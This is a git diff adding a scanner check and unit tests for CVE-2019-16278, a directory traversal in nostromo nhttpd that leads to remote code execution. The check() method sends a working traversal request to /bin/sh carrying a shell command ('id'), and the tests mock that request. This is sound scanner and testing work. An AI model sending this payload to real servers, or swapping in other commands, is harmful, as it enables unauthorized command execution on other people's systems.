diff --git a/agent/exploits/cve_2019_16278.py b/agent/exploits/cve_2019_16278.py
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+"""Agent Asteroid implementation for CVE-2019-16278"""
+
+import datetime
+from urllib import parse as urlparse
+
+import requests
+from requests import exceptions as requests_exceptions
+
+from agent import definitions
+from agent import exploits_registry
+from agent.exploits import webexploit
+
+VULNERABILITY_TITLE = "NOSTROMO NHTTPD DIRECTORY TRAVERSAL VULNERABILITY"
+VULNERABILITY_REFERENCE = "CVE-2019-16278"
+VULNERABILITY_DESCRIPTION = """Directory Traversal in the function http_verify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request.
+"""
+RISK_RATING = "CRITICAL"
+
+DEFAULT_TIMEOUT = datetime.timedelta(seconds=90)
+
+
+@exploits_registry.register
+class CVE201916278Exploit(webexploit.WebExploit):
+    accept_request = definitions.Request(method="GET", path="/")
+
+    metadata = definitions.VulnerabilityMetadata(
+        title=VULNERABILITY_TITLE,
+        description=VULNERABILITY_DESCRIPTION,
+        reference=VULNERABILITY_REFERENCE,
+        risk_rating=RISK_RATING,
+    )
+
+    def accept(self, target: definitions.Target) -> bool:
+        """Rule: heuristically detect if a specific target is valid.
+
+        Args:
+            target: Target to verify
+
+        Returns:
+            True if the target is valid; otherwise False.
+        """
+        target_endpoint = urlparse.urljoin(target.origin, self.accept_request.path)
+        try:
+            req = requests.Request(
+                method=self.accept_request.method,
+                url=target_endpoint,
+                data=self.accept_request.data,
+            ).prepare()
+            resp = self.session.send(req, timeout=DEFAULT_TIMEOUT.seconds)
+        except requests_exceptions.RequestException:
+            return False
+
+        server_header = resp.headers.get("Server", "")
+        return "nostromo" in server_header
+
+    def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
+        """Rule to detect specific vulnerability on a specific target.
+
+        Args:
+            target: Target to scan
+
+        Returns:
+            List of identified vulnerabilities.
+        """
+        vulnerabilities: list[definitions.Vulnerability] = []
+
+        target_endpoint = urlparse.urljoin(
+            target.origin, "/.%0d./.%0d./.%0d./.%0d./bin/sh"
+        )
+        payload = "echo\necho\n id 2>&1"
+
+        # Force HTTP/1.0
+        self.session._http_vsn = 10
+        self.session._http_vsn_str = "HTTP/1.0"
+        try:
+            req = requests.Request(
+                method="POST", url=target_endpoint, data=payload
+            ).prepare()
+            resp = self.session.send(
+                req,
+                timeout=DEFAULT_TIMEOUT.seconds,
+            )
+        except requests_exceptions.RequestException:
+            return vulnerabilities
+
+        if "uid=" in resp.text:
+            vulnerability = self._create_vulnerability(target)
+            vulnerabilities.append(vulnerability)
+
+        return vulnerabilities
diff --git a/tests/exploits/cve_2019_16278_test.py b/tests/exploits/cve_2019_16278_test.py
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+"""Unit tests for Agent Asteroid: CVE-2019-16278"""
+
+import requests_mock as req_mock
+
+from agent import definitions
+from agent.exploits import cve_2019_16278
+
+
+def testCVE201916278_whenVulnerable_reportFinding(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """CVE-2019-16278 unit test: case when target is vulnerable."""
+    requests_mock.get(
+        url="http://localhost:80/",
+        status_code=200,
+        headers={"Server": "nostromo 1.9.4"},
+    )
+    requests_mock.post(
+        "http://localhost:80/.%0D./.%0D./.%0D./.%0D./bin/sh",
+        text="uid=65534 gid=65534",
+        status_code=200,
+    )
+    exploit_instance = cve_2019_16278.CVE201916278Exploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    accept = exploit_instance.accept(target)
+    vulnerabilities = exploit_instance.check(target)
+
+    assert accept is True
+    vulnerability = vulnerabilities[0]
+    assert (
+        vulnerability.entry.title == "NOSTROMO NHTTPD DIRECTORY TRAVERSAL VULNERABILITY"
+    )
+    assert vulnerability.technical_detail == (
+        "http://localhost:80 is vulnerable to CVE-2019-16278, NOSTROMO NHTTPD DIRECTORY TRAVERSAL VULNERABILITY"
+    )
+
+
+def testCVE201916278_whenSafe_reportNothing(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """CVE-2019-16278 unit test: case when target is safe."""
+    exploit_instance = cve_2019_16278.CVE201916278Exploit()
+    requests_mock.get(
+        url="http://localhost:80/",
+        status_code=200,
+        headers={"Server": "nostromo 1.9.4"},
+    )
+    requests_mock.post(
+        "http://localhost:80/.%0D./.%0D./.%0D./.%0D./bin/sh",
+        status_code=404,
+    )
+    target = definitions.Target("http", "localhost", 80)
+
+    accept = exploit_instance.accept(target)
+    vulnerabilities = exploit_instance.check(target)
+
+    assert accept is True
+    assert len(vulnerabilities) == 0
+
+
+def testCVE201916278_whenAcceptRequestFails_doNotCrash() -> None:
+    """CVE-2019-16278 unit test: case when target is safe."""
+    exploit_instance = cve_2019_16278.CVE201916278Exploit()
+    target = definitions.Target("http", "notexist", 80)
+
+    accept = exploit_instance.accept(target)
+
+    assert accept is False
+
+
+def testCVE201916278_whenCheckRequestFails_doNotCrash() -> None:
+    """CVE-2019-16278 unit test: case when target is safe."""
+    exploit_instance = cve_2019_16278.CVE201916278Exploit()
+    target = definitions.Target("http", "notexist", 80)
+
+    vulnerabilities = exploit_instance.check(target)
+
+    assert len(vulnerabilities) == 0